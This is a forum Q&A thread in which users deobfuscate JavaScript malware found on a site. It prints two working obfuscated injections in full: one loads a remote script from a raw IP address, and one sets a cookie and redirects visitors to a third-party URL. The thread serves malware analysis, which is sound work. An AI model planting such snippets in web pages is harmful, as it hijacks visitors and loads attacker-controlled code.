How to decrypt a virus?

Question

Malware

Tell me, is there any decoder for this?
The antivirus says that there is a virus - I want to make sure.

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));

Answer 1

document.write("<script src=\"http://134.249.116.78/jquery.js\"></script>");

And there is another quest for you:

//def
var _0x8290=["\x67\x65\x74\x54\x69\x6D\x65","\x73\x65\x74\x54\x69\x6D\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x47\x4D\x54\x53\x74\x72\x69\x6E\x67","\x3B\x20\x70\x61\x74\x68\x3D","","\x69\x6E\x64\x65\x78\x4F\x66","\x6C\x65\x6E\x67\x74\x68","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x3B","\x63\x6F\x6F\x6B\x69\x65\x45\x6E\x61\x62\x6C\x65\x64","\x63\x73\x72\x66\x5F\x75\x69\x64\x73","\x31","\x2F","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x63\x70\x6D\x32\x30\x2E\x63\x6F\x6D\x2F\x77\x61\x74\x63\x68\x3F\x6B\x65\x79\x3D\x37\x38\x39\x61\x34\x31\x32\x39\x65\x37\x38\x63\x30\x30\x30\x30\x38\x61\x34\x37\x62\x33\x36\x65\x32\x33\x64\x36\x35\x65\x61\x37"];function _mmm_(_0x1c98x2,_0x1c98x3,_0x1c98x4,_0x1c98x5){var _0x1c98x6= new Date();var _0x1c98x7= new Date();if(_0x1c98x4=== null|| _0x1c98x4=== 0){_0x1c98x4= 3};_0x1c98x7[_0x8290[1]](_0x1c98x6[_0x8290[0]]()+ 3600000* 24* _0x1c98x4);document[_0x8290[2]]= _0x1c98x2+ _0x8290[3]+ escape(_0x1c98x3)+ _0x8290[4]+ _0x1c98x7[_0x8290[5]]()+ ((_0x1c98x5)?_0x8290[6]+ _0x1c98x5:_0x8290[7])}function _nnn_(_0x1c98x9){var _0x1c98xa=document[_0x8290[2]][_0x8290[8]](_0x1c98x9+ _0x8290[3]);var _0x1c98xb=_0x1c98xa+ _0x1c98x9[_0x8290[9]]+ 1;if((!_0x1c98xa) && (_0x1c98x9!= document[_0x8290[2]][_0x8290[10]](0,_0x1c98x9[_0x8290[9]]))){return null};if(_0x1c98xa==  -1){return null};var _0x1c98xc=document[_0x8290[2]][_0x8290[8]](_0x8290[11],_0x1c98xb);if(_0x1c98xc==  -1){_0x1c98xc= document[_0x8290[2]][_0x8290[9]]};return unescape(document[_0x8290[2]][_0x8290[10]](_0x1c98xb,_0x1c98xc))}if(navigator[_0x8290[12]]){if(_nnn_(_0x8290[13])== 1){}else {_mmm_(_0x8290[13],_0x8290[14],_0x8290[14],_0x8290[15]);window[_0x8290[17]][_0x8290[16]]= _0x8290[18]}}

UPD: this site helps a lot jsbeautifier.org
UPD2: it does something with cookies and redirects here https://www.cpm20 com/watch?key=789a4129e78c00008a47b36e23d65ea7

Answer 2

1) re-encode hex codes
2) and then step by step substitute array values ​​into
document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[ _0xaae8[1]](_0xaae8[0]))